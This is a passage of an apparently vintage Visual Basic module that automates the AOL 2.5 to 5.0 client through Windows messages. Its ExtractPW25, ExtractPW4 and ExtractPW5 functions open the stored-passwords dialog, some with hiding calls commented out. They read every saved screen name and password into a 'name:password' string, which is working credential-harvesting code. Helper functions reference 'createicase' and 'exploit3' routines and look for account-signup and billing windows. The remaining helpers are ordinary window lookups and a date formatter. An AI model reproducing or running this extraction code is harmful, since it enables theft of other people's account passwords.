'"createicase3" and "exploit3"
'functions
Dim child As Long, aolstatic As Long
child& = FindWindow("_AOL_Modal", vbNullString)
aolstatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
If aolstatic& <> 0& And InStr(1, LCase(GetText(aolstatic&)), "conditions of aol membership") <> 0& Then
ExploitFindConditions& = child&
Exit Function
Else
Do
child& = FindWindowEx(0&, child&, "_AOL_Modal", vbNullString)
aolstatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
If aolstatic& <> 0& And InStr(1, LCase(GetText(aolstatic&)), "conditions of aol membership") <> 0& Then
ExploitFindConditions& = child&
Exit Function
End If
Loop Until child& = 0&
End If
ExploitFindConditions& = child&
End Function
Public Function ExploitFindGTKAOL() As Long
'this function helps find
'1 of the modals in the
'"createicase3" and "exploit3"
'functions
Dim child As Long, aolstatic As Long
'getting to know aol
child& = FindWindow("_AOL_Modal", vbNullString)
aolstatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
If aolstatic& <> 0& And InStr(1, LCase(GetText(aolstatic&)), "getting to know america online") <> 0& Then
ExploitFindGTKAOL& = child&
Exit Function
Else
Do
child& = FindWindowEx(0&, child&, "_AOL_Modal", vbNullString)
aolstatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
If aolstatic& <> 0& And InStr(1, LCase(GetText(aolstatic&)), "getting to know america online") <> 0& Then
ExploitFindGTKAOL& = child&
Exit Function
End If
Loop Until child& = 0&
End If
ExploitFindGTKAOL& = child&
End Function
Public Function ExtractPW25() As String
'extracts user's password on aol 2.5 / 3.0
Dim aol As Long, mdi As Long, child As Long, Stored As String
Dim Mnu As Long, Pref As Long, pIcon As Long, sWin As Long
Dim sEdit As Long, sEdit2 As Long, sEdit3 As Long, sEdit4 As Long, sEdit5 As Long
Dim sStatic As Long, sStatic2 As Long, sStatic3 As Long, sStatic4 As Long, sStatic5 As Long
Dim sIcon As Long, SN1 As String, PW1 As String, SN2 As String, PW2 As String
Dim SN3 As String, PW3 As String, SN4 As String, PW4 As String, SN5 As String, PW5 As String
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
child& = FindWindowEx(mdi&, 0&, "AOL Child", vbNullString)
'Call ShowWindow(AOL&, SW_HIDE)
Call RunMenuByString("preferences")
Do
DoEvents
Pref& = FindWindowEx(mdi&, 0&, "AOL Child", "Preferences")
pIcon& = FindWindowEx(Pref&, 0&, "_AOL_Icon", vbNullString)
pIcon& = FindWindowEx(Pref&, pIcon&, "_AOL_Icon", vbNullString)
If AOLVersion = "3" Then
pIcon& = FindWindowEx(Pref&, pIcon&, "_AOL_Icon", vbNullString)
pIcon& = FindWindowEx(Pref&, pIcon&, "_AOL_Icon", vbNullString)
End If
Loop Until Pref& <> 0& And pIcon& <> 0&
'Call ShowWindow(Pref&, SW_HIDE)
Call SendMessage(pIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(pIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
sWin& = FindWindow("_AOL_Modal", "Edit Stored Passwords")
sEdit& = FindWindowEx(sWin&, 0&, "_AOL_Edit", vbNullString)
sEdit2& = FindWindowEx(sWin&, sEdit&, "_AOL_Edit", vbNullString)
sEdit3& = FindWindowEx(sWin&, sEdit2&, "_AOL_Edit", vbNullString)
sEdit4& = FindWindowEx(sWin&, sEdit3&, "_AOL_Edit", vbNullString)
sEdit5& = FindWindowEx(sWin&, sEdit4&, "_AOL_Edit", vbNullString)
If AOLVersion = "3" Then
sStatic& = FindWindowEx(sWin&, 0&, "_AOL_Static", vbNullString)
sStatic& = FindWindowEx(sWin&, sStatic&, "_AOL_Static", vbNullString)
sStatic& = FindWindowEx(sWin&, sStatic&, "_AOL_Static", vbNullString)
Else
sStatic& = FindWindowEx(sWin&, 0&, "_AOL_Static", vbNullString)
sStatic& = FindWindowEx(sWin&, sStatic&, "_AOL_Static", vbNullString)
End If
sStatic& = FindWindowEx(sWin&, sStatic&, "_AOL_Static", vbNullString)
sStatic2& = FindWindowEx(sWin&, sStatic&, "_AOL_Static", vbNullString)
sStatic3& = FindWindowEx(sWin&, sStatic2&, "_AOL_Static", vbNullString)
sStatic4& = FindWindowEx(sWin&, sStatic3&, "_AOL_Static", vbNullString)
sStatic5& = FindWindowEx(sWin&, sStatic4&, "_AOL_Static", vbNullString)
sIcon& = FindWindowEx(sWin&, 0&, "_AOL_Button", "Cancel")
Loop Until sWin& <> 0& And sEdit& <> 0& And sStatic& <> 0& And sIcon& <> 0&
'Stored$ = "[Stored]" + vbCrLf
'Call ShowWindow(sWin&, SW_HIDE)
SN1$ = Trim(GetText(sStatic&))
PW1$ = GetText(sEdit&)
If PW1$ <> "" Then
Stored$ = "" + SN1$ + ":" + PW1$ + "" + vbCrLf
End If
SN2$ = Trim(GetText(sStatic2&))
PW2$ = GetText(sEdit2&)
If SN2$ <> "Guest" And SN2$ <> "New Local#" Then
If PW2$ <> "" Then
Stored$ = Stored$ + "" + SN2$ + ":" + PW2$ + "" + vbCrLf
End If
End If
SN3$ = Trim(GetText(sStatic3&))
PW3$ = GetText(sEdit3&)
If SN3$ <> "Guest" And SN3$ <> "New Local#" Then
If PW3$ <> "" Then
Stored$ = Stored$ + "" + SN3$ + ":" + PW3$ + "" + vbCrLf
End If
End If
SN4$ = Trim(GetText(sStatic4&))
PW4$ = GetText(sEdit4&)
If SN4$ <> "Guest" And SN4$ <> "New Local#" Then
If PW4$ <> "" Then
Stored$ = Stored$ + "" + SN4$ + ":" + PW4$ + "" + vbCrLf
End If
End If
SN5$ = Trim(GetText(sStatic5&))
PW5$ = GetText(sEdit5&)
If SN5$ <> "Guest" And SN5$ <> "New Local#" Then
If PW5$ <> "" Then
Stored$ = Stored$ + "" + SN5$ + ":" + PW5$ + "" + vbCrLf
End If
End If
Call PostMessage(sIcon&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(sIcon&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(Pref&, WM_CLOSE, 0&, 0&)
If Stored$ = "" Then
Stored$ = "[no pw's were stored]"
Else
Stored$ = "[Stored]" + vbCrLf + Stored$
End If
ExtractPW25 = Stored$
End Function
Public Function ExtractPW4() As String
'extracts user's password on aol 4.0
Dim aol As Long, mdi As Long, tool As Long, Toolbar As Long, CurPos As POINTAPI
Dim WinVis As Long, sMod As Long, pWin As Long, pButton As Long
Dim sWin As Long, sStatic As Long, mWin As Long, mBut As Long
Dim sStatic1 As Long, sStatic2 As Long, sStatic3 As Long, sStatic4 As Long, sStatic5 As Long, sStatic6 As Long, sStatic7 As Long
Dim sEdit1 As Long, sEdit2 As Long, sEdit3 As Long, sEdit4 As Long, sEdit5 As Long, sEdit6 As Long, sEdit7 As Long
Dim sSN1 As String, sSN2 As String, sSN3 As String, sSN4 As String, sSN5 As String, sSN6 As String, sSN7 As String
Dim sPW1 As String, sPW2 As String, sPW3 As String, sPW4 As String, sPW5 As String, sPW6 As String, sPW7 As String
Dim Stored As String
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call OpenPrefs
Do
DoEvents
pWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Preferences")
pButton& = FindWindowEx(pWin&, 0&, "_AOL_Icon", vbNullString)
Do
DoEvents
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
Loop Until pButton& = 0&
pButton& = FindWindowEx(pWin&, 0&, "_AOL_Icon", vbNullString)
Do
DoEvents
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
Loop Until pButton& = 0&
pButton& = FindWindowEx(pWin&, 0&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
Loop Until pWin& <> 0& And pButton& <> 0&
'Call ShowWindow(pWin&, SW_HIDE)
Call SendMessage(pButton&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(pButton&, WM_LBUTTONUP, 0&, 0&)
FindAgain:
Do
DoEvents
sWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Store Passwords")
sStatic& = FindWindowEx(sWin&, 0&, "_AOL_Static", vbNullString)
mWin& = FindWindow("#32770", "America Online")
mBut& = FindWindowEx(mWin&, 0&, "Button", "OK")
Loop Until sWin& <> 0& And sStatic& <> 0& Or mWin& <> 0& And mBut& <> 0&
sStatic& = FindWindowEx(sWin&, sStatic&, "_AOL_Static", vbNullString)
sStatic& = FindWindowEx(sWin&, sStatic&, "_AOL_Static", vbNullString)
sStatic& = FindWindowEx(sWin&, sStatic&, "_AOL_Static", vbNullString)
sStatic& = FindWindowEx(sWin&, sStatic&, "_AOL_Static", vbNullString)
sStatic1& = FindWindowEx(sWin&, sStatic&, "_AOL_Static", vbNullString)
sStatic2& = FindWindowEx(sWin&, sStatic1&, "_AOL_Static", vbNullString)
sStatic2& = FindWindowEx(sWin&, sStatic2&, "_AOL_Static", vbNullString)
sStatic2& = FindWindowEx(sWin&, sStatic2&, "_AOL_Static", vbNullString)
sStatic3& = FindWindowEx(sWin&, sStatic2&, "_AOL_Static", vbNullString)
sStatic3& = FindWindowEx(sWin&, sStatic3&, "_AOL_Static", vbNullString)
sStatic3& = FindWindowEx(sWin&, sStatic3&, "_AOL_Static", vbNullString)
sStatic4& = FindWindowEx(sWin&, sStatic3&, "_AOL_Static", vbNullString)
sStatic4& = FindWindowEx(sWin&, sStatic4&, "_AOL_Static", vbNullString)
sStatic4& = FindWindowEx(sWin&, sStatic4&, "_AOL_Static", vbNullString)
sStatic5& = FindWindowEx(sWin&, sStatic4&, "_AOL_Static", vbNullString)
sStatic5& = FindWindowEx(sWin&, sStatic5&, "_AOL_Static", vbNullString)
sStatic5& = FindWindowEx(sWin&, sStatic5&, "_AOL_Static", vbNullString)
sStatic6& = FindWindowEx(sWin&, sStatic5&, "_AOL_Static", vbNullString)
sStatic6& = FindWindowEx(sWin&, sStatic6&, "_AOL_Static", vbNullString)
sStatic6& = FindWindowEx(sWin&, sStatic6&, "_AOL_Static", vbNullString)
sStatic7& = FindWindowEx(sWin&, sStatic6&, "_AOL_Static", vbNullString)
sStatic7& = FindWindowEx(sWin&, sStatic7&, "_AOL_Static", vbNullString)
sStatic7& = FindWindowEx(sWin&, sStatic7&, "_AOL_Static", vbNullString)
sEdit1& = FindWindowEx(sWin&, 0&, "_AOL_Edit", vbNullString)
sEdit2& = FindWindowEx(sWin&, sEdit1&, "_AOL_Edit", vbNullString)
sEdit3& = FindWindowEx(sWin&, sEdit2&, "_AOL_Edit", vbNullString)
sEdit4& = FindWindowEx(sWin&, sEdit3&, "_AOL_Edit", vbNullString)
sEdit5& = FindWindowEx(sWin&, sEdit4&, "_AOL_Edit", vbNullString)
sEdit6& = FindWindowEx(sWin&, sEdit5&, "_AOL_Edit", vbNullString)
sEdit7& = FindWindowEx(sWin&, sEdit6&, "_AOL_Edit", vbNullString)
If mWin& <> 0& Then
Call PostMessage(mBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(mBut&, WM_KEYUP, VK_SPACE, 0&)
ExtractPW4 = ""
Call PostMessage(pWin&, WM_CLOSE, 0&, 0&)
Exit Function
End If
'Call ShowWindow(sWin&, SW_HIDE)
If sStatic1& <> 0& Then sSN1$ = Trim(GetText(sStatic1&)) Else sSN1$ = ""
If sStatic2& <> 0& Then sSN2$ = Trim(GetText(sStatic2&)) Else sSN2$ = ""
If sStatic3& <> 0& Then sSN3$ = Trim(GetText(sStatic3&)) Else sSN3$ = ""
If sStatic4& <> 0& Then sSN4$ = Trim(GetText(sStatic4&)) Else sSN4$ = ""
If sStatic5& <> 0& Then sSN5$ = Trim(GetText(sStatic5&)) Else sSN5$ = ""
If sStatic6& <> 0& Then sSN6$ = Trim(GetText(sStatic6&)) Else sSN6$ = ""
If sStatic7& <> 0& Then sSN7$ = Trim(GetText(sStatic7&)) Else sSN7$ = ""
If sEdit1& <> 0& Then sPW1$ = GetText(sEdit1&) Else sPW1$ = ""
If sEdit2& <> 0& Then sPW2$ = GetText(sEdit2&) Else sPW2$ = ""
If sEdit3& <> 0& Then sPW3$ = GetText(sEdit3&) Else sPW3$ = ""
If sEdit4& <> 0& Then sPW4$ = GetText(sEdit4&) Else sPW4$ = ""
If sEdit5& <> 0& Then sPW5$ = GetText(sEdit5&) Else sPW5$ = ""
If sEdit6& <> 0& Then sPW6$ = GetText(sEdit6&) Else sPW6$ = ""
If sEdit7& <> 0& Then sPW7$ = GetText(sEdit7&) Else sPW7$ = ""
If sSN1$ = "Screenname" Then GoTo FindAgain
If sSN2$ = "Screenname" Then GoTo FindAgain
If sSN3$ = "Screenname" Then GoTo FindAgain
If sSN4$ = "Screenname" Then GoTo FindAgain
If sSN5$ = "Screenname" Then GoTo FindAgain
If sSN6$ = "Screenname" Then GoTo FindAgain
If sSN7$ = "Screenname" Then GoTo FindAgain
If sPW1$ = "Password" Then GoTo FindAgain
If sPW2$ = "Password" Then GoTo FindAgain
If sPW3$ = "Password" Then GoTo FindAgain
If sPW4$ = "Password" Then GoTo FindAgain
If sPW5$ = "Password" Then GoTo FindAgain
If sPW6$ = "Password" Then GoTo FindAgain
If sPW7$ = "Password" Then GoTo FindAgain
pWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Preferences")
Call PostMessage(pWin&, WM_CLOSE, 0&, 0&)
Call PostMessage(sWin&, WM_CLOSE, 0&, 0&)
If sSN1$ <> "" And sPW1$ <> "" And sSN1$ <> "Screenname" Then
Stored$ = Stored$ + "" + sSN1$ + ":" + sPW1$ + "" + vbCrLf
End If
If sSN2$ <> "" And sPW2$ <> "" And sSN1$ <> "Screenname" Then
Stored$ = Stored$ + "" + sSN2$ + ":" + sPW2$ + "" + vbCrLf
End If
If sSN3$ <> "" And sPW3$ <> "" And sSN1$ <> "Screenname" Then
Stored$ = Stored$ + "" + sSN3$ + ":" + sPW3$ + "" + vbCrLf
End If
If sSN4$ <> "" And sPW4$ <> "" And sSN1$ <> "Screenname" Then
Stored$ = Stored$ + "" + sSN4$ + ":" + sPW4$ + "" + vbCrLf
End If
If sSN5$ <> "" And sPW5$ <> "" And sSN1$ <> "Screenname" Then
Stored$ = Stored$ + "" + sSN5$ + ":" + sPW5$ + "" + vbCrLf
End If
If sSN6$ <> "" And sPW6$ <> "" And sEdit6& <> sEdit1& And sSN1$ <> "Screenname" Then
Stored$ = Stored$ + "" + sSN6$ + ":" + sPW6$ + "" + vbCrLf
End If
If sSN7$ <> "" And sPW7$ <> "" And sEdit7& <> sEdit1& And sSN1$ <> "Screenname" Then
Stored$ = Stored$ + "" + sSN7$ + ":" + sPW7$ + "" + vbCrLf
End If
If Stored$ <> "" Then
'Stored$ = "[stored]" + vbCrLf + Stored$
End If
ExtractPW4$ = Stored$
End Function
Public Function ExtractPW5() As String
'SUPPOSED to extract user's password on aol 5.0
'but aol 5.0 won't let you view other passwords..
Dim aol As Long, mdi As Long, tool As Long, Toolbar As Long, CurPos As POINTAPI
Dim WinVis As Long, sMod As Long, pWin As Long, pButton As Long
Dim sWin As Long, sStatic As Long, mWin As Long, mBut As Long
Dim sStatic1 As Long, sStatic2 As Long, sStatic3 As Long, sStatic4 As Long, sStatic5 As Long, sStatic6 As Long, sStatic7 As Long
Dim sEdit1 As Long, sEdit2 As Long, sEdit3 As Long, sEdit4 As Long, sEdit5 As Long, sEdit6 As Long, sEdit7 As Long
Dim sSN1 As String, sSN2 As String, sSN3 As String, sSN4 As String, sSN5 As String, sSN6 As String, sSN7 As String
Dim sPW1 As String, sPW2 As String, sPW3 As String, sPW4 As String, sPW5 As String, sPW6 As String, sPW7 As String
Dim Stored As String, sEdit As Long, KaiPW As String
If GetUser$ = "" Then ExtractPW5 = "": Exit Function
If AOLVersion = "4" Then
ExtractPW5$ = ExtractPW4
Exit Function
End If
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call OpenPrefs
Do
DoEvents
pWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Preferences")
pButton& = FindWindowEx(pWin&, 0&, "_AOL_Icon", vbNullString)
Do
DoEvents
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
Loop Until pButton& = 0&
pButton& = FindWindowEx(pWin&, 0&, "_AOL_Icon", vbNullString)
Do
DoEvents
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
Loop Until pButton& = 0&
pButton& = FindWindowEx(pWin&, 0&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
Loop Until pWin& <> 0& And pButton& <> 0&
'Call ShowWindow(pWin&, SW_HIDE)
Call SendMessage(pButton&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(pButton&, WM_LBUTTONUP, 0&, 0&)
FindAgain:
Do
DoEvents
sWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Store Passwords")
sStatic& = FindWindowEx(sWin&, 0&, "_AOL_Static", vbNullString)
sEdit& = FindWindowEx(sWin&, 0&, "_AOL_Edit", vbNullString)
mWin& = FindWindow("#32770", "America Online")
mBut& = FindWindowEx(mWin&, 0&, "Button", "OK")
Loop Until sWin& <> 0& And sStatic& <> 0& And sEdit& <> 0& Or mWin& <> 0& And mBut& <> 0&
If mWin& <> 0& Then
Call PostMessage(mBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(mBut&, WM_KEYUP, VK_SPACE, 0&)
ExtractPW5 = ""
Call PostMessage(pWin&, WM_CLOSE, 0&, 0&)
Exit Function
End If
KaiPW$ = GetText(sEdit&)
ExtractPW5$ = GetUser$ + ":" + KaiPW$
Call PostMessage(pWin&, WM_CLOSE, 0&, 0&)
Call PostMessage(sWin&, WM_CLOSE, 0&, 0&)
End Function
Public Sub FavKeyword(KW As String)
'uses 'favorite places' to run keyword
Dim aol As Long, mdi As Long, KWWin As Long, KWEdit As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call RunTBMenu(7&, 3&)
Do
DoEvents
KWWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Keyword")
KWEdit& = FindWindowEx(KWWin&, 0&, "_AOL_Edit", vbNullString)
Loop Until KWWin& <> 0& And KWEdit& <> 0&
Call SendMessageByString(KWEdit&, WM_SETTEXT, 0&, KW$)
Call SendMessageLong(KWEdit&, WM_CHAR, ENTER_KEY, 0&)
End Sub
Public Function FileExists(feFile As String) As Boolean
'checks if file is on user's computer
If Len(feFile$) = 0 Then
FileExists = False
Exit Function
End If
If Len(Dir$(feFile$)) Then
FileExists = True
Else
FileExists = False
End If
End Function
Public Function Find1() As Long
'this function helps find 1
'of the modals using in the
'"createicase" function
Dim mWin As Long, mStatic As Long
mWin& = FindWindow("_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, GetText(mStatic&), "Create Your America Online Account Now") <> 0& Then
Find1& = mWin&
Exit Function
Else
Do
mWin& = FindWindowEx(0&, mWin&, "_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, GetText(mStatic&), "Create Your America Online Account Now") <> 0& Then
Find1& = mWin&
Exit Function
End If
Loop Until mWin& = 0&
End If
Find1& = mWin&
End Function
Public Function Find2() As Long
'this function helps find 1
'of the modals using in the
'"createicase" function
Dim mWin As Long, mStatic As Long
mWin& = FindWindow("_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, GetText(mStatic&), "Your AOL Instant Messenger Screen Name") <> 0& Then
Find2& = mWin&
Exit Function
Else
Do
mWin& = FindWindowEx(0&, mWin&, "_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, GetText(mStatic&), "Your AOL Instant Messenger Screen Name") <> 0& Then
Find2& = mWin&
Exit Function
End If
Loop Until mWin& = 0&
End If
Find2& = mWin&
End Function
Public Function Find3() As Long
'this function helps find 1
'of the modals using in the
'"createicase" function
Dim mWin As Long, mStatic As Long
mWin& = FindWindow("_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
mStatic& = FindWindowEx(mWin&, mStatic&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, GetText(mStatic&), "Member Information") <> 0& Then
Find3& = mWin&
Exit Function
Else
Do
mWin& = FindWindowEx(0&, mWin&, "_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
mStatic& = FindWindowEx(mWin&, mStatic&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, GetText(mStatic&), "Member Information") <> 0& Then
Find3& = mWin&
Exit Function
End If
Loop Until mWin& = 0&
End If
Find3& = mWin&
End Function
Public Function Find4() As Long
'this function helps find 1
'of the modals using in the
'"createicase" function
Dim mWin As Long, mStatic As Long
mWin& = FindWindow("_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, GetText(mStatic&), "How Your AOL Membership Works") <> 0& Then
Find4& = mWin&
Exit Function
Else
Do
mWin& = FindWindowEx(0&, mWin&, "_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, GetText(mStatic&), "How Your AOL Membership Works") <> 0& Then
Find4& = mWin&
Exit Function
End If
Loop Until mWin& = 0&
End If
Find4& = mWin&
End Function
Public Function Find5() As Long
'this function helps find 1
'of the modals using in the
'"createicase" function
Dim mWin As Long, mStatic As Long
mWin& = FindWindow("_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, GetText(mStatic&), "Choose a Billing Method") <> 0& Then
Find5& = mWin&
Exit Function
Else
Do
mWin& = FindWindowEx(0&, mWin&, "_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, GetText(mStatic&), "Choose a Billing Method") <> 0& Then
Find5& = mWin&
Exit Function
End If
Loop Until mWin& = 0&
End If
Find5& = mWin&
End Function
Public Function Find6() As Long
'this function helps find 1
'of the modals using in the
'"createicase" function
Dim mWin As Long, mStatic As Long
mWin& = FindWindow("_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, GetText(mStatic&), "Billing Information") <> 0& Then
Find6& = mWin&
Exit Function
Else
Do
mWin& = FindWindowEx(0&, mWin&, "_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, GetText(mStatic&), "Billing Information") <> 0& Then
Find6& = mWin&
Exit Function
End If
Loop Until mWin& = 0&
End If
Find6& = mWin&
End Function
Public Sub findachat()
'opens the 'find a chat' window
Dim aol As Long, mdi As Long, facWin As Long
Dim fWin As Long, fList As Long, fCount As Long
Dim pcWin As Long, pcIcon As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
If aol& = 0& Or GetUser = "" Then Exit Sub
facWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Find a Chat")
If facWin& <> 0& Then Exit Sub
If AOLVersion = "4" Or AOLVersion = "5" Then
Call RunTBMenu(10&, 3&)
Else
Call KeyWord25("pc")
Do
DoEvents
pcWin& = FindWindowEx(mdi&, 0&, "AOL Child", " Welcome to People Connection")
pcIcon& = FindWindowEx(pcWin&, 0&, "_AOL_Icon", vbNullString)
pcIcon& = FindWindowEx(pcWin&, pcIcon&, "_AOL_Icon", vbNullString)
pcIcon& = FindWindowEx(pcWin&, pcIcon&, "_AOL_Icon", vbNullString)
pcIcon& = FindWindowEx(pcWin&, pcIcon&, "_AOL_Icon", vbNullString)
pcIcon& = FindWindowEx(pcWin&, pcIcon&, "_AOL_Icon", vbNullString)
pcIcon& = FindWindowEx(pcWin&, pcIcon&, "_AOL_Icon", vbNullString) '
pcIcon& = FindWindowEx(pcWin&, pcIcon&, "_AOL_Icon", vbNullString)
Loop Until pcWin& <> 0& And pcIcon& <> 0&
Call RunMenuByString("incoming text")
Call SendMessage(pcIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(pcIcon&, WM_LBUTTONUP, 0&, 0&)
End If
Do
DoEvents
fWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Find a Chat")
fList& = FindWindowEx(fWin&, 0&, "_AOL_Listbox", vbNullString)
fList& = FindWindowEx(fWin&, fList&, "_AOL_Listbox", vbNullString)
fCount& = SendMessage(fList&, LB_GETCOUNT, 0&, 0&)
Loop Until fWin& <> 0& And fList& <> 0& And fCount& <> 0&
pause (1)
End Sub
Public Function FindAgree() As Long
'this function helps find 1
'of the modals using in the
'"createicase" function
Dim mWin As Long, mStatic As Long
mWin& = FindWindow("_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, LCase(GetText(mStatic&)), "conditions of") <> 0& Then
FindAgree& = mWin&
Exit Function
Else
Do
mWin& = FindWindowEx(0&, mWin&, "_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, LCase(GetText(mStatic&)), "conditions of aol membership") <> 0& Then
FindAgree& = mWin&
Exit Function
End If
Loop Until mWin& = 0&
End If
FindAgree& = mWin&
End Function
Public Function FindAOL25() As Long
'finds aol 2.5
Dim AWin As Long
AWin& = FindWindow("AOL Frame25", vbNullString)
If hWndAOLVersion(AWin&) = "2.5" Or hWndAOLVersion(AWin&) = "3" Then
FindAOL25& = AWin&
Exit Function
Else
Do
AWin& = FindWindowEx(0&, AWin&, "AOL Frame25", vbNullString)
If hWndAOLVersion(AWin&) = "2.5" Or hWndAOLVersion(AWin&) = "3" Then
FindAOL25& = AWin&
Exit Function
End If
Loop Until AWin& = 0&
End If
If hWndAOLVersion(AWin&) = "2.5" Or hWndAOLVersion(AWin&) = "3" Then
FindAOL25& = AWin&
End If
End Function
Public Function FindAOL4() As Long
'finds aol 4.0
Dim AWin As Long
AWin& = FindWindow("AOL Frame25", vbNullString)
If hWndAOLVersion(AWin&) = "4" Then
FindAOL4& = AWin&
Exit Function
Else
Do
AWin& = FindWindowEx(0&, AWin&, "AOL Frame25", vbNullString)
If hWndAOLVersion(AWin&) = "4" Then
FindAOL4& = AWin&
Exit Function
End If
Loop Until AWin& = 0&
End If
If hWndAOLVersion(AWin&) = "4" Then
FindAOL4& = AWin&
End If
End Function
Public Function FullDate()
Dim damonth$, daday$, dayear$, daday2$, dafulldate$
If Month(Date) = 1 Then
damonth$ = "Jan"
ElseIf Month(Date) = 2 Then
damonth$ = "Feb"
ElseIf Month(Date) = 3 Then
damonth$ = "March"
ElseIf Month(Date) = 4 Then
damonth$ = "April"
ElseIf Month(Date) = 5 Then
damonth$ = "May"
ElseIf Month(Date) = 6 Then
damonth$ = "June"
ElseIf Month(Date) = 7 Then
damonth$ = "July"
ElseIf Month(Date) = 8 Then
damonth$ = "Aug"
ElseIf Month(Date) = 9 Then
damonth$ = "Sep"
ElseIf Month(Date) = 10 Then
damonth$ = "Oct"
ElseIf Month(Date) = 11 Then
damonth$ = "Nov"
ElseIf Month(Date) = 12 Then
damonth$ = "Dec"
End If
If Weekday(Date) = 1 Then
daday$ = "Sun."
ElseIf Weekday(Date) = 2 Then
daday$ = "Mon."
ElseIf Weekday(Date) = 3 Then
daday$ = "Tue."
ElseIf Weekday(Date) = 4 Then
daday$ = "Wed."
ElseIf Weekday(Date) = 5 Then
daday$ = "Thur."
ElseIf Weekday(Date) = 6 Then
daday$ = "Fri."
ElseIf Weekday(Date) = 7 Then
daday$ = "Sat."
End If
If Day(Date) = 1 Or Day(Date) = 21 Or Day(Date) = 31 Then
daday2$ = Day(Date) & "st"
ElseIf Day(Date) = 2 Or Day(Date) = 22 Then
daday2$ = Day(Date) & "nd"
ElseIf Day(Date) = 3 Or Day(Date) = 23 Then
daday2$ = Day(Date) & "rd"
